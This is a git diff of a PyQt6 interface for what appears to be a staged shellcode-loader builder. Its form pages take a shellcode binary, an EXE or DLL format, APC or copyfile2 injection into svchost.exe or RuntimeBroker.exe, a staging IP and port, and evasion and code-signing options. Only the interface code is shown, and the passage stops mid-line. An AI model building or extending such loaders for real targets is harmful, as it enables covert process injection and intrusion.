+QCheckBox {{ + color: {TEXT_DIM}; + spacing: 8px; + font-size: 12px; +}} + +QCheckBox:hover {{ + color: {TEXT}; +}} + +QCheckBox::indicator {{ + width: 15px; + height: 15px; + border-radius: 2px; + border: 1px solid {BORDER}; + background-color: {BG_ELEVATED}; +}} + +QCheckBox::indicator:checked {{ + background-color: {ACCENT}; + border-color: {ACCENT}; +}} + +QCheckBox::indicator:disabled {{ + background-color: {BG_SURFACE}; + border-color: {BORDER_SUB}; +}} + +/* ── Scroll area ─────────────────────────────────────────────────────────── */ +QScrollArea {{ + border: none; + background-color: {BG_BASE}; +}} + +QScrollBar:vertical {{ + background-color: {BG_BASE}; + width: 8px; + border: none; +}} + +QScrollBar::handle:vertical {{ + background-color: {BORDER}; + border-radius: 4px; + min-height: 30px; +}} + +QScrollBar::handle:vertical:hover {{ + background-color: {TEXT_MUTED}; +}} + +QScrollBar::add-line:vertical, QScrollBar::sub-line:vertical {{ + height: 0px; +}} + +/* ── Splitter ────────────────────────────────────────────────────────────── */ +QSplitter::handle {{ + background-color: {BORDER_SUB}; + height: 5px; + border-top: 1px dotted {BORDER}; +}} + +QSplitter::handle:hover {{ + background-color: {ACCENT_DIM}; +}} + +/* ── Labels ──────────────────────────────────────────────────────────────── */ +QLabel {{ + color: {TEXT}; + background: transparent; +}} + +QLabel:disabled {{ + color: {TEXT_MUTED}; +}} + +QLabel#sectionLabel {{ + color: {TEXT_MUTED}; + font-size: 11px; + text-transform: uppercase; + letter-spacing: 0.5px; +}} + +QLabel#headerTitle {{ + font-size: 18px; + font-weight: 800; + color: {ACCENT}; + letter-spacing: 1px; +}} + +QLabel#headerSubtitle {{ + font-size: 11px; + color: {TEXT_DIM}; + letter-spacing: 0.3px; +}} + +QLabel#headerBadge {{ + font-size: 9px; + font-weight: 700; + color: {BG_BASE}; + background-color: {ACCENT}; + padding: 2px 7px; + border-radius: 2px; + letter-spacing: 1px; +}} + +/* ── Progress bar ────────────────────────────────────────────────────────── */ +QProgressBar {{ + background-color: {BG_SURFACE}; + border: none; + border-radius: 0px; + height: 3px; + text-align: center; +}} + +QProgressBar::chunk {{ + background-color: {ACCENT}; + border-radius: 0px; +}} + +/* ── Status bar ──────────────────────────────────────────────────────────── */ +QStatusBar {{ + background-color: {BG_HEADER}; + color: {TEXT_MUTED}; + border-top: 1px solid {BORDER_SUB}; + font-size: 11px; + font-family: "Cascadia Code", "Fira Code", "Consolas", monospace; +}} + +QStatusBar QLabel {{ + color: {TEXT_DIM}; + padding: 2px 8px; +}} + +/* ── Tooltip ─────────────────────────────────────────────────────────────── */ +QToolTip {{ + background-color: {BG_ELEVATED}; + color: {TEXT}; + border: 1px solid {BORDER}; + border-radius: 2px; + padding: 5px 9px; + font-size: 12px; +}} + +/* ── Horizontal scrollbar ────────────────────────────────────────────────── */ +QScrollBar:horizontal {{ + background-color: {BG_BASE}; + height: 8px; + border: none; +}} + +QScrollBar::handle:horizontal {{ + background-color: {BORDER}; + border-radius: 4px; + min-width: 30px; +}} + +QScrollBar::handle:horizontal:hover {{ + background-color: {TEXT_MUTED}; +}} + +QScrollBar::add-line:horizontal, QScrollBar::sub-line:horizontal {{ + width: 0px; +}} + +/* ── Frame separators ────────────────────────────────────────────────────── */ +QFrame[frameShape="4"], QFrame[frameShape="HLine"] {{ + background-color: {BORDER_SUB}; + border: none; + max-height: 1px; +}} + +/* ── Side nav (QListWidget#sideNav) ─────────────────────────────────────── */ +QListWidget#sideNav {{ + background-color: {BG_SURFACE}; + border: none; + outline: none; + padding: 8px 0px; + font-size: 12px; +}} + +QListWidget#sideNav::item {{ + padding: 11px 0px 11px 18px; + color: {TEXT_DIM}; + border-left: 3px solid transparent; + font-weight: 600; + letter-spacing: 0.3px; +}} + +QListWidget#sideNav::item:selected {{ + background-color: {BG_ELEVATED}; + color: {ACCENT}; + border-left: 3px solid {ACCENT}; +}} + +QListWidget#sideNav::item:hover:!selected {{ + background-color: {BG_ELEVATED}; + color: {TEXT}; + border-left: 3px solid transparent; +}} + +QListWidget#sideNav::item:disabled {{ + color: {TEXT_MUTED}; +}} + +/* ── Profiles bar + build footer ─────────────────────────────────────────── */ +QWidget#profilesBar {{ + background-color: {BG_SURFACE}; + border-bottom: 1px solid {BORDER}; +}} + +QWidget#buildFooter {{ + background-color: {BG_SURFACE}; + border-top: 1px solid {BORDER}; +}} + +/* ── Dialogs (QMessageBox, QInputDialog, QFileDialog) ────────────────────── */ +QDialog {{ + background-color: {BG_SURFACE}; + color: {TEXT}; + border: 1px solid {BORDER}; + min-width: 420px; +}} + +QMessageBox {{ + background-color: {BG_SURFACE}; + color: {TEXT}; + min-width: 420px; +}} + +QMessageBox QLabel {{ + color: {TEXT}; + font-size: 13px; + padding: 4px 0px; + min-width: 300px; + background: transparent; +}} + +/* Icon area spacer */ +QMessageBox QDialogButtonBox {{ + padding-top: 8px; +}} + +QInputDialog {{ + background-color: {BG_SURFACE}; + color: {TEXT}; + min-width: 380px; +}} + +QInputDialog QLabel {{ + color: {TEXT}; + font-size: 13px; + background: transparent; +}} + +QInputDialog QLineEdit {{ + min-width: 300px; +}} + +QFileDialog {{ + background-color: {BG_SURFACE}; + color: {TEXT}; +}} + +QFileDialog QLabel {{ + color: {TEXT}; + background: transparent; +}} + +/* Buttons inside dialogs */ +QDialogButtonBox QPushButton {{ + min-width: 80px; + padding: 6px 18px; +}} +""" diff --git a/Windows/templates/__init__.py b/Linux/gui/widgets/__init__.py similarity index 100% rename from Windows/templates/__init__.py rename to Linux/gui/widgets/__init__.py diff --git a/Linux/gui/widgets/common.py b/Linux/gui/widgets/common.py new file mode 100644 index 0000000..ec2e9ad --- /dev/null +++ b/Linux/gui/widgets/common.py @@ -0,0 +1,390 @@ +# -*- coding: utf-8 -*- +"""Shared GUI widget helpers.""" +import os + +from PyQt6.QtWidgets import ( + QHBoxLayout, QVBoxLayout, QLineEdit, QPushButton, QFileDialog, + QWidget, QLabel, QSizePolicy, + QMessageBox, QInputDialog, QSpacerItem, +) +from PyQt6.QtCore import Qt, QMimeData, pyqtSignal +from PyQt6.QtGui import QPainter, QPen, QColor, QFont + +from gui.theme import ( + BG_BASE, BG_SURFACE, BG_ELEVATED, BORDER, BORDER_SUB, + ACCENT, ACCENT_DIM, ACCENT_BRIGHT, + TEXT, TEXT_DIM, TEXT_MUTED, + GREEN, RED, + # Nord compat aliases + NORD0, NORD1, NORD2, NORD3, NORD4, + FROST1, FROST2, FROST3, +) + + +class DropLineEdit(QLineEdit): + """QLineEdit that accepts drag-and-drop files.""" + + def __init__(self, file_filter_exts=None, parent=None): + super().__init__(parent) + self.setAcceptDrops(True) + # e.g. ['.bin', '.pfx'] — if None, accept any file + self._filter_exts = file_filter_exts + + def dragEnterEvent(self, event): + if event.mimeData().hasUrls(): + urls = event.mimeData().urls() + if urls and urls[0].isLocalFile(): + path = urls[0].toLocalFile() + if self._filter_exts is None or any(path.lower().endswith(e) for e in self._filter_exts): + event.acceptProposedAction() + return + event.ignore() + + def dragMoveEvent(self, event): + event.acceptProposedAction() + + def dropEvent(self, event): + urls = event.mimeData().urls() + if urls and urls[0].isLocalFile(): + self.setText(urls[0].toLocalFile()) + event.acceptProposedAction() + + +class DropZone(QWidget): + """A visual drag-and-drop zone for payload files. + + Shows a dashed-border area with a hint label. Highlights on drag-over. + Displays the filename once a file is selected. Includes a Browse button. + """ + + path_changed = pyqtSignal(str) + + def __init__(self, file_filter: str = "All Files (*)", + filter_exts=None, + hint_text: str = "Drag & drop shellcode (.bin) here", + browse_title: str = "Select file", + parent=None): + super().__init__(parent) + self.setAcceptDrops(True) + self._file_filter = file_filter + self._filter_exts = filter_exts # e.g. ['.bin'] + self._hint_text = hint_text + self._browse_title = browse_title + self._path = "" + self._dragging = False + + self.setMinimumHeight(110) + self.setSizePolicy(QSizePolicy.Policy.Expanding, + QSizePolicy.Policy.Fixed) + self.setCursor(Qt.CursorShape.PointingHandCursor) + + # Internal layout + layout = QVBoxLayout(self) + layout.setContentsMargins(16, 12, 16, 12) + layout.setSpacing(4) + layout.setAlignment(Qt.AlignmentFlag.AlignCenter) + + # Upload arrow icon (hidden once a file is selected) + self._icon_label = QLabel("⬆") + self._icon_label.setAlignment(Qt.AlignmentFlag.AlignCenter) + self._icon_label.setStyleSheet( + f"color: {ACCENT}; font-size: 18px; background: transparent; border: none;") + layout.addWidget(self._icon_label) + + # Primary hint text + self._hint_label = QLabel(hint_text) + self._hint_label.setAlignment(Qt.AlignmentFlag.AlignCenter) + self._hint_label.setStyleSheet( + f"color: {TEXT_DIM}; font-size: 13px; background: transparent; border: none;") + layout.addWidget(self._hint_label) + + # "or browse" sub-hint + self._sub_label = QLabel("or click to browse") + self._sub_label.setAlignment(Qt.AlignmentFlag.AlignCenter) + self._sub_label.setStyleSheet( + f"color: {ACCENT}; font-size: 11px; background: transparent; border: none;") + layout.addWidget(self._sub_label) + + # Clear button — only visible when a file is loaded + self._clear_btn = QPushButton("× clear") + self._clear_btn.setObjectName("deleteButton") + self._clear_btn.setCursor(Qt.CursorShape.PointingHandCursor) + self._clear_btn.setFixedWidth(70) + self._clear_btn.setStyleSheet( + self._clear_btn.styleSheet() + + "QPushButton#deleteButton { font-size: 10px; padding: 2px 8px; }") + self._clear_btn.setVisible(False) + self._clear_btn.clicked.connect(self._clear_file) + layout.addWidget(self._clear_btn, alignment=Qt.AlignmentFlag.AlignCenter) + + # File path display (hidden until file selected) + self._file_label = QLabel("") + self._file_label.setAlignment(Qt.AlignmentFlag.AlignCenter) + self._file_label.setWordWrap(True) + self._file_label.setStyleSheet( + f"color: {GREEN}; font-size: 12px; font-weight: bold; " + f"background: transparent; border: none;") + self._file_label.setVisible(False) + layout.addWidget(self._file_label) + + def text(self) -> str: + """Return the current file path (API compat with QLineEdit).""" + return self._path + + def setText(self, path: str): + """Set the file path programmatically.""" + self._path = path + self._update_display() + self.path_changed.emit(path) + + @property + def textChanged(self): + """Signal compat — returns path_changed so callers can connect.""" + return self.path_changed + + def setProperty(self, name, value): + super().setProperty(name, value) + if name == "validationError": + self.update() + + def _clear_file(self): + """Remove the currently selected file.""" + self._path = "" + self._update_display() + self.path_changed.emit("") + + def _update_display(self): + if self._path: + filename = os.path.basename(self._path) + # Elide long paths so they don't break the layout + max_path_chars = 60 + display_path = (self._path if len(self._path) <= max_path_chars + else f"…{self._path[-(max_path_chars - 1):]}") + self._icon_label.setVisible(False) + self._hint_label.setText(filename) + self._hint_label.setStyleSheet( + f"color: {ACCENT}; font-size: 13px; font-weight: bold; " + f"background: transparent; border: none;") + self._sub_label.setText(display_path) + self._sub_label.setStyleSheet( + f"color: {TEXT_DIM}; font-size: 10px; " + f"background: transparent; border: none;") + self._clear_btn.setVisible(True) + self._file_label.setVisible(False) + else: + self._icon_label.setVisible(True) + self._hint_label.setText(self._hint_text) + self._hint_label.setStyleSheet( + f"color: {TEXT_DIM}; font-size: 13px; " + f"background: transparent; border: none;") + self._sub_label.setText("or click to browse") + self._sub_label.setStyleSheet( + f"color: {ACCENT}; font-size: 11px; " + f"background: transparent; border: none;") + self._clear_btn.setVisible(False) + self._file_label.setVisible(False) + self.update() + + # -- Paint the dashed border -- + + def paintEvent(self, event): + painter = QPainter(self) + painter.setRenderHint(QPainter.RenderHint.Antialiasing) + + validation_error = self.property("validationError") + + if self._dragging: + border_color = QColor(ACCENT) + bg_color = QColor(ACCENT) + bg_color.setAlpha(18) + elif validation_error: + border_color = QColor(RED) + bg_color = QColor(RED) + bg_color.setAlpha(18) + elif self._path: + border_color = QColor(GREEN) + bg_color = QColor(GREEN) + bg_color.setAlpha(12) + else: + border_color = QColor(BORDER) + bg_color = QColor(BG_SURFACE) + + # Background fill + painter.setBrush(bg_color) + painter.setPen(Qt.PenStyle.NoPen) + painter.drawRoundedRect(self.rect().adjusted(1, 1, -1, -1), 2, 2) + + # Dashed border — tighter dash pattern for a crisper look + pen = QPen(border_color, 1, Qt.PenStyle.CustomDashLine) + pen.setDashPattern([5, 3]) + painter.setPen(pen) + painter.setBrush(Qt.BrushStyle.NoBrush) + painter.drawRoundedRect(self.rect().adjusted(1, 1, -1, -1), 2, 2) + + # If dragging: draw a solid 2px outer accent ring on top + if self._dragging: + solid_pen = QPen(QColor(ACCENT), 2, Qt.PenStyle.SolidLine) + painter.setPen(solid_pen) + painter.drawRoundedRect(self.rect().adjusted(1, 1, -1, -1), 2, 2) + + painter.end() + + # -- Mouse click = browse -- + + def mousePressEvent(self, event): + if event.button() == Qt.MouseButton.LeftButton: + path, _ = QFileDialog.getOpenFileName( + self, self._browse_title, "", + self._file_filter) + if path: + self.setText(path) + + # -- Drag & drop -- + + def _is_valid_file(self, path: str) -> bool: + if self._filter_exts is None: + return True + return any(path.lower().endswith(e) for e in self._filter_exts) + + def dragEnterEvent(self, event): + if event.mimeData().hasUrls(): + urls = event.mimeData().urls() + if urls and urls[0].isLocalFile(): + if self._is_valid_file(urls[0].toLocalFile()): + self._dragging = True + self.update() + event.acceptProposedAction() + return + event.ignore() + + def dragMoveEvent(self, event): + event.acceptProposedAction() + + def dragLeaveEvent(self, event): + self._dragging = False + self.update() + + def dropEvent(self, event): + self._dragging = False + urls = event.mimeData().urls() + if urls and urls[0].isLocalFile(): + path = urls[0].toLocalFile() + if self._is_valid_file(path): + self.setText(path) + event.acceptProposedAction() + return + self.update() + event.ignore() + + +def file_picker_row(parent: QWidget, label: str = "Browse...", + file_filter: str = "All Files (*)", + save_mode: bool = False) -> tuple: + """ + Create a file picker row: DropLineEdit + Browse button. + Returns (layout, line_edit) so the caller can read the path. + """ + layout = QHBoxLayout() + layout.setContentsMargins(0, 0, 0, 0) + + # Extract extensions from file_filter for drag-drop validation + # e.g. "Binary Files (*.bin);;All Files (*)" -> ['.bin'] + filter_exts = None + if file_filter and "*." in file_filter: + import re + exts = re.findall(r'\*\.(\w+)', file_filter) + if exts: + filter_exts = [f'.{e.lower()}' for e in exts] + + line_edit = DropLineEdit(file_filter_exts=filter_exts, parent=parent) + line_edit.setPlaceholderText(label) + + browse_btn = QPushButton("Browse") + browse_btn.setObjectName("browseButton") + browse_btn.setFixedWidth(80) + + def on_browse(): + if save_mode: + path, _ = QFileDialog.getSaveFileName(parent, label, "", file_filter) + else: + path, _ = QFileDialog.getOpenFileName(parent, label, "", file_filter) + if path: + line_edit.setText(path) + + browse_btn.clicked.connect(on_browse) + + layout.addWidget(line_edit, stretch=1) + layout.addWidget(browse_btn) + + return layout, line_edit + + +# ── Dialog helpers ────────────────────────────────────────────────────────────── +# Qt does not reliably honour stylesheet min-width on QMessageBox. +# The only reliable fix is to inject a spacer into the grid layout. +_DLG_MIN_W = 500 + + +def _widen(msg): + """Inject a horizontal spacer to enforce a minimum dialog width.""" + spacer = QSpacerItem(_DLG_MIN_W, 0, + QSizePolicy.Policy.Minimum, + QSizePolicy.Policy.Expanding) + layout = msg.layout() + layout.addItem(spacer, layout.rowCount(), 0, 1, layout.columnCount()) + + +def dlg_warn(parent, title: str, text: str): + """Warning dialog with guaranteed minimum width.""" + msg = QMessageBox(parent) + msg.setWindowTitle(title) + msg.setText(text) + msg.setIcon(QMessageBox.Icon.Warning) + _widen(msg) + msg.exec() + + +def dlg_error(parent, title: str, text: str): + """Error dialog with guaranteed minimum width.""" + msg = QMessageBox(parent) + msg.setWindowTitle(title) + msg.setText(text) + msg.setIcon(QMessageBox.Icon.Critical) + _widen(msg) + msg.exec() + + +def dlg_info(parent, title: str, text: str): + """Information dialog with guaranteed minimum width.""" + msg = QMessageBox(parent) + msg.setWindowTitle(title) + msg.setText(text) + msg.setIcon(QMessageBox.Icon.Information) + _widen(msg) + msg.exec() + + +def dlg_ask(parent, title: str, text: str, default_yes: bool = False) -> bool: + """Yes/No question dialog. Returns True if user clicked Yes.""" + msg = QMessageBox(parent) + msg.setWindowTitle(title) + msg.setText(text) + msg.setIcon(QMessageBox.Icon.Question) + msg.setStandardButtons( + QMessageBox.StandardButton.Yes | QMessageBox.StandardButton.No) + msg.setDefaultButton( + QMessageBox.StandardButton.Yes if default_yes + else QMessageBox.StandardButton.No) + _widen(msg) + return msg.exec() == QMessageBox.StandardButton.Yes + + +def dlg_text(parent, title: str, label: str, default: str = "") -> tuple: + """Text-input dialog. Returns (text, ok) like QInputDialog.getText.""" + dlg = QInputDialog(parent) + dlg.setWindowTitle(title) + dlg.setLabelText(label) + dlg.setTextValue(default) + dlg.setMinimumWidth(420) + ok = dlg.exec() == QInputDialog.DialogCode.Accepted + return dlg.textValue(), ok diff --git a/Linux/gui/widgets/log_panel.py b/Linux/gui/widgets/log_panel.py new file mode 100644 index 0000000..7f7d340 --- /dev/null +++ b/Linux/gui/widgets/log_panel.py @@ -0,0 +1,193 @@ +# -*- coding: utf-8 -*- +"""Color-coded build log panel with timestamps and export.""" +import os +from datetime import datetime + +from PyQt6.QtWidgets import ( + QWidget, QVBoxLayout, QTextEdit, QPushButton, QHBoxLayout, + QProgressBar, QFileDialog, QLabel, QFrame +) +from PyQt6.QtGui import QTextCursor, QPixmap, QPainter +from PyQt6.QtCore import Qt, pyqtSignal + +from gui.theme import GREEN, RED, YELLOW, BLUE, TEXT, CRUST, NORD3, FROST1, TEXT_MUTED, BORDER_SUB, ACCENT_DIM + +# Locate Logo.png: gui/assets/ (installed), then fallback to dev repo layout +_HERE = os.path.dirname(os.path.abspath(__file__)) +_LOGO_CANDIDATES = [ + os.path.normpath(os.path.join(_HERE, "..", "assets", "Logo.png")), # installed: gui/assets/ + os.path.normpath(os.path.join(_HERE, "..", "..", "assets", "Logo.png")), # Linux/assets/ + os.path.normpath(os.path.join(_HERE, "..", "..", "..", "assets", "Logo.png")), # repo root (dev) +] +_LOGO_PATH = next((p for p in _LOGO_CANDIDATES if os.path.isfile(p)), _LOGO_CANDIDATES[0]) + + +class _WatermarkTextEdit(QTextEdit): + """QTextEdit that paints Logo.png as a centred, low-opacity watermark.""" + + def __init__(self, parent=None): + super().__init__(parent) + self._watermark: QPixmap | None = None + if os.path.isfile(_LOGO_PATH): + pix = QPixmap(_LOGO_PATH) + if not pix.isNull(): + # Pre-scale once to a fixed display size + self._watermark = pix.scaled( + 180, 180, + Qt.AspectRatioMode.KeepAspectRatio, + Qt.TransformationMode.SmoothTransformation, + ) + + def paintEvent(self, event): + """Draw watermark behind the text.""" + if self._watermark: + painter = QPainter(self.viewport()) + painter.setOpacity(0.07) + vp = self.viewport().rect() + x = (vp.width() - self._watermark.width()) // 2 + y = (vp.height() - self._watermark.height()) // 2 + painter.drawPixmap(x, y, self._watermark) + painter.end() + super().paintEvent(event) + + + + +# Level -> color mapping +LEVEL_COLORS = { + "info": BLUE, + "success": GREEN, + "warning": YELLOW, + "error": RED, +} + + +class LogPanel(QWidget): + """Read-only, monospace log panel with color-coded, timestamped output.""" + + open_folder_requested = pyqtSignal(str) # emits folder path + + def __init__(self, parent=None): + super().__init__(parent) + self._raw_lines = [] # plain text for export + + layout = QVBoxLayout(self) + layout.setContentsMargins(0, 0, 0, 0) + layout.setSpacing(0) + + # Section header + panel_header = QWidget() + panel_header.setStyleSheet( + f"background-color: transparent;" + f"border-bottom: 1px solid {BORDER_SUB};" + ) + ph_layout = QHBoxLayout(panel_header) + ph_layout.setContentsMargins(10, 4, 10, 4) + ph_label = QLabel("BUILD OUTPUT") + ph_label.setObjectName("sectionLabel") + ph_layout.addWidget(ph_label) + ph_layout.addStretch() + layout.addWidget(panel_header) + + # Progress bar (indeterminate, hidden by default) + self._progress = QProgressBar() + self._progress.setRange(0, 0) # indeterminate + self._progress.setFixedHeight(6) + self._progress.setTextVisible(False) + self._progress.hide() + layout.addWidget(self._progress) + + # Toolbar + toolbar = QHBoxLayout() + toolbar.setContentsMargins(4, 4, 4, 2) + + self._open_folder_btn = QPushButton("Open Output Folder") + self._open_folder_btn.setFixedWidth(160) + self._open_folder_btn.hide() + self._open_folder_btn.clicked.connect(self._on_open_folder) + toolbar.addWidget(self._open_folder_btn) + + toolbar.addStretch() + + save_btn = QPushButton("Save Log") + save_btn.setFixedWidth(90) + save_btn.clicked.connect(self._save_log) + toolbar.addWidget(save_btn) + + clear_btn = QPushButton("Clear Log") + clear_btn.setFixedWidth(90) + clear_btn.clicked.connect(self.clear) + toolbar.addWidget(clear_btn) + + layout.addLayout(toolbar) + + # Text area + self._text = _WatermarkTextEdit() + self._text.setReadOnly(True) + self._text.setStyleSheet(f""" + QTextEdit {{ + background-color: {CRUST}; + color: {TEXT}; + font-family: "Cascadia Code", "Fira Code", "Consolas", monospace; + font-size: 12px; + border: none; + padding: 8px; + }} + """) + layout.addWidget(self._text) + + self._output_folder = "" + + def append_log(self, message: str, level: str = "info"): + """Append a color-coded, timestamped log line and auto-scroll.""" + color = LEVEL_COLORS.get(level, TEXT) + ts = datetime.now().strftime("%H:%M:%S") + ts_html = f'[{ts}]' + msg_html = f' {self._escape(message)}' + self._text.append(f'{ts_html}{msg_html}') + self._text.moveCursor(QTextCursor.MoveOperation.End) + self._raw_lines.append(f"[{ts}] {message}") + + def clear(self): + self._text.clear() + self._raw_lines.clear() + self._open_folder_btn.hide() + self._output_folder = "" + + def set_building(self, building: bool): + """Show/hide the indeterminate progress bar.""" + self._progress.setVisible(building) + + def show_open_folder(self, folder: str): + """Show the 'Open Output Folder' button after a successful build.""" + self._output_folder = folder + self._open_folder_btn.show() + + def _on_open_folder(self): + if self._output_folder and os.path.isdir(self._output_folder): + import subprocess + import sys + if sys.platform == "linux": + subprocess.Popen(["xdg-open", self._output_folder]) + elif sys.platform == "darwin": + subprocess.Popen(["open", self._output_folder]) + else: + os.startfile(self._output_folder) + + def _save_log(self): + if not self._raw_lines: + return + path, _ = QFileDialog.getSaveFileName( + self, "Save Build Log", "build_log.txt", "Text Files (*.txt);;All Files (*)") + if path: + with open(path, "w") as f: + f.write("\n".join(self._raw_lines)) + + @staticmethod + def _escape(text: str) -> str: + return (text + .replace("&", "&") + .replace("<", "<") + .replace(">", ">") + .replace(" ", " ") + .replace("\t", "    ")) diff --git a/Linux/gui/widgets/staged_tab.py b/Linux/gui/widgets/staged_tab.py new file mode 100644 index 0000000..2c6dfe5 --- /dev/null +++ b/Linux/gui/widgets/staged_tab.py @@ -0,0 +1,694 @@ +# -*- coding: utf-8 -*- +"""Staged payload configuration tab.""" +import os +import json + +from PyQt6.QtWidgets import ( + QWidget, QVBoxLayout, QHBoxLayout, QFormLayout, QLabel, + QLineEdit, QComboBox, QCheckBox, QPushButton, QSpinBox, + QScrollArea, QFrame, QListWidget, QStackedWidget, + QListWidgetItem, QFileDialog +) +from PyQt6.QtCore import pyqtSignal, Qt +from PyQt6.QtGui import QKeySequence, QShortcut + +from core.build_config import BuildConfig +from gui.theme import TEXT_DIM +from gui.widgets.common import file_picker_row, DropZone, dlg_ask, dlg_warn, dlg_error, dlg_info, dlg_text +from gui.history import HistoryManager + +# Required field marker +REQ = " *" + + +class StagedTab(QWidget): + """Form for staged payload configuration.""" + + build_requested = pyqtSignal(object) # emits BuildConfig + profile_imported = pyqtSignal() # emitted after a .ctfp import + + def __init__(self, history_manager: HistoryManager, parent=None): + super().__init__(parent) + self._history = history_manager + self._setup_ui() + self._setup_tooltips() + self._setup_shortcuts() + self._connect_adaptive() + self._refresh_profiles() + + # ── Page indices ────────────────────────────────────────────────────── + PAGE_PAYLOAD = 0 + PAGE_FORMAT = 1 + PAGE_NETWORK = 2 + PAGE_EVASION = 3 + PAGE_SIGNING = 4 + PAGE_OUTPUT = 5 + + def _setup_ui(self): + outer = QVBoxLayout(self) + outer.setContentsMargins(0, 0, 0, 0) + outer.setSpacing(0) + + # ── Top bar: Profiles ────────────────────────────────────────────── + bar = QWidget() + bar.setObjectName("profilesBar") + bl = QHBoxLayout(bar) + bl.setContentsMargins(12, 7, 12, 7) + self._profile_combo = QComboBox() + self._profile_combo.setMinimumWidth(180) + self._profile_combo.currentTextChanged.connect(self._load_profile) + self._save_btn = QPushButton("Save") + self._save_btn.clicked.connect(self._save_profile) + delete_btn = QPushButton("Delete") + delete_btn.setObjectName("deleteButton") + delete_btn.clicked.connect(self._delete_profile) + export_btn = QPushButton("Export ↑") + export_btn.setToolTip("Export selected profile to a .ctfp file") + export_btn.clicked.connect(self._export_profile) + import_btn = QPushButton("Import ↓") + import_btn.setToolTip("Import a .ctfp profile file") + import_btn.clicked.connect(self._import_profile) + bl.addWidget(QLabel("Profile:")) + bl.addWidget(self._profile_combo, stretch=1) + bl.addWidget(self._save_btn) + bl.addWidget(delete_btn) + bl.addWidget(export_btn) + bl.addWidget(import_btn) + outer.addWidget(bar) + + # ── Body: sidebar + pages ────────────────────────────────────────── + body = QWidget() + body_layout = QHBoxLayout(body) + body_layout.setContentsMargins(0, 0, 0, 0) + body_layout.setSpacing(0) + + self._nav = QListWidget() + self._nav.setObjectName("sideNav") + self._nav.setFixedWidth(148) + self._nav.setHorizontalScrollBarPolicy(Qt.ScrollBarPolicy.ScrollBarAlwaysOff) + self._nav.setVerticalScrollBarPolicy(Qt.ScrollBarPolicy.ScrollBarAlwaysOff) + for name in ("Payload", "Format", "Network", "Evasion", "Code Signing", "Output"): + self._nav.addItem(name) + + vdiv = QFrame() + vdiv.setFrameShape(QFrame.Shape.VLine) + vdiv.setFrameShadow(QFrame.Shadow.Plain) + + self._stack = QStackedWidget() + self._stack.addWidget(self._page_payload()) + self._stack.addWidget(self._page_format()) + self._stack.addWidget(self._page_network()) + self._stack.addWidget(self._page_evasion()) + self._stack.addWidget(self._page_signing()) + self._stack.addWidget(self._page_output()) + + self._nav.currentRowChanged.connect(self._stack.setCurrentIndex) + self._nav.setCurrentRow(0) + + body_layout.addWidget(self._nav) + body_layout.addWidget(vdiv) + body_layout.addWidget(self._stack, stretch=1) + outer.addWidget(body, stretch=1) + + # ── Bottom bar: BUILD + Reset ────────────────────────────────────── + sep_bot = QFrame() + sep_bot.setFrameShape(QFrame.Shape.HLine) + sep_bot.setFrameShadow(QFrame.Shadow.Plain) + outer.addWidget(sep_bot) + + footer = QWidget() + footer.setObjectName("buildFooter") + fl = QHBoxLayout(footer) + fl.setContentsMargins(12, 8, 12, 8) + self._build_btn = QPushButton("BUILD") + self._build_btn.setObjectName("buildButton") + self._build_btn.clicked.connect(self._on_build) + self._reset_btn = QPushButton("Reset") + self._reset_btn.setToolTip("Reset all fields to defaults") + self._reset_btn.setFixedWidth(80) + self._reset_btn.clicked.connect(self._reset_defaults) + fl.addWidget(self._build_btn, stretch=1) + fl.addWidget(self._reset_btn) + outer.addWidget(footer) + + # ── Page helpers ─────────────────────────────────────────────────────── + + def _make_page(self): + """Scroll-wrapped page container. Returns (scroll_widget, layout).""" + inner = QWidget() + layout = QVBoxLayout(inner) + layout.setContentsMargins(28, 22, 28, 22) + layout.setSpacing(16) + scroll = QScrollArea() + scroll.setWidgetResizable(True) + scroll.setFrameShape(QFrame.Shape.NoFrame) + scroll.setWidget(inner) + return scroll, layout + + def _page_header(self, title: str, subtitle: str = "") -> QWidget: + """Consistent page title + thin rule.""" + w = QWidget() + vl = QVBoxLayout(w) + vl.setContentsMargins(0, 0, 0, 6) + vl.setSpacing(3) + t = QLabel(title) + t.setStyleSheet("font-size: 15px; font-weight: 700; color: #c9d1d9; background: transparent;") + vl.addWidget(t) + if subtitle: + s = QLabel(subtitle) + s.setStyleSheet(f"font-size: 11px; color: {TEXT_DIM}; background: transparent;") + vl.addWidget(s) + line = QFrame() + line.setFrameShape(QFrame.Shape.HLine) + line.setFrameShadow(QFrame.Shadow.Plain) + vl.addWidget(line) + return w + + # ── Pages ────────────────────────────────────────────────────────────── + + def _page_payload(self): + page, layout = self._make_page() + layout.addWidget(self._page_header("Payload", "Raw shellcode binary to embed in the loader")) + self._payload_edit = DropZone( + file_filter="Binary Files (*.bin);;All Files (*)", + filter_exts=['.bin'], + hint_text="Drag & drop shellcode (.bin) here", + browse_title="Select Shellcode Binary", + parent=self) + self._payload_edit.path_changed.connect( + lambda: self._clear_validation(self._payload_edit)) + layout.addWidget(self._payload_edit) + layout.addStretch() + return page + + def _page_format(self): + page, layout = self._make_page() + layout.addWidget(self._page_header("Output Format", "Loader type and injection technique")) + + form = QFormLayout() + form.setLabelAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter) + form.setHorizontalSpacing(12) + form.setVerticalSpacing(10) + form.setFieldGrowthPolicy(QFormLayout.FieldGrowthPolicy.FieldsStayAtSizeHint) + + self._format_combo = QComboBox() + self._format_combo.addItems(["EXE", "DLL"]) + self._format_combo.setMinimumWidth(140) + form.addRow("Format:", self._format_combo) + + self._inject_combo = QComboBox() + self._inject_combo.addItems(["apc", "copyfile2"]) + self._inject_combo.setMinimumWidth(140) + form.addRow("Injection:", self._inject_combo) + + self._target_label = QLabel("Target process:") + self._target_combo = QComboBox() + self._target_combo.addItems(["RuntimeBroker.exe", "svchost.exe"]) + self._target_combo.setMinimumWidth(140) + form.addRow(self._target_label, self._target_combo) + + layout.addLayout(form) + layout.addStretch() + return page + + def _page_network(self): + page, layout = self._make_page() + layout.addWidget(self._page_header("Network", "Staged payload download parameters")) + + form = QFormLayout() + form.setLabelAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter) + form.setHorizontalSpacing(12) + form.setVerticalSpacing(10) + form.setFieldGrowthPolicy(QFormLayout.FieldGrowthPolicy.ExpandingFieldsGrow) + + self._ip_edit = QLineEdit() + self._ip_edit.setPlaceholderText("192.168.1.150") + self._ip_edit.textChanged.connect(lambda: self._clear_validation(self._ip_edit)) + form.addRow("IP" + REQ + ":", self._ip_edit) + + self._port_spin = QSpinBox() + self._port_spin.setRange(1, 65535) + self._port_spin.setValue(8080) + form.addRow("Port:", self._port_spin) + + path_row = 